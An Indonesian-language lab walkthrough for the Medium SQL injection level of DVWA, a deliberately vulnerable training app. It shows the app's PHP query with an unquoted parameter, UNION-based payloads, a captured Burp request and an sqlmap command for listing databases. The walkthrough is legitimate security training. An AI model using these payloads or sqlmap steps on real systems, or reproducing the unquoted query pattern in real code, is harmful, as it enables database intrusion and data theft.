Medium
SQL Injection level Medium on DVWA
Di bawah ini adalah source-code dari SQL Injection level medium di DVWA.
vulnerabilities/sqli/source/medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
Mencari Informasi
Pada level ini form yang digunakan adalah bertipe select dan method yang digunakan adalah POST
. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut:

Jika kita ubah nilai parameter id
-nya menjadi '
, maka pesan error-nya akan berbeda dibanding level sebelumnya.

Tampilnya pesan error ini sudah menandakan bahwa terdapat celah SQL Injection. Anda bisa langsung menggunakan tool SQLMap atau secara manual.
Ada penambahan backslash (\
) sebelum karakter '
. Ini dikarenakan fungsi mysqli_real_escape_string()
yang melakukan encoding pada spesial karakter (bisa dibaca di sini).
Sehingga sekarang kita tidak bisa menggunakan payload pada level sebelumnya.
%' or '0' = '0
Maka dari itu kita harus menggunakan cara lain, yaitu mencari payload yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan union
!
Melakukan Serangan
Kali ini kita akan menggunakan union
(di sini saya contohkan untuk menampilkan versi DBMS) sebagai payload-nya.
1 UNION SELECT null, version()
Sehingga hasilnya adalah seperti berikut:

DBMS yang digunakan adalah MariaDB 10.1.26.
Sebagai pembiasaan menggunakan query union
, praktekan query yang pada level sebelumnya dipelajari.
Menggunakan SQLMap
Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method POST
) adalah dengan bantuan Burp suite, yaitu dengan meng-intercept request lalu di salin ke suatu file (contohnya r.txt).
r.txt
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://172.17.0.2
Connection: close
Referer: http://172.17.0.2/vulnerabilities/sqli/
Cookie: lang=en-US; PHPSESSID=deanteiid9ignilfjtiak17op2; security=medium
Upgrade-Insecure-Requests: 1
i_like_gitea: 11session
id=1&Submit=Submit
Selanjutnya adalah menjalankan SQLMap:
sqlmap -r r.txt --dbs
Dan hasilnya akan seperti berikut:

Setelah itu anda bisa explore lebih jauh lagi.😁
Happy Hacking! 🍻
Last updated
Was this helpful?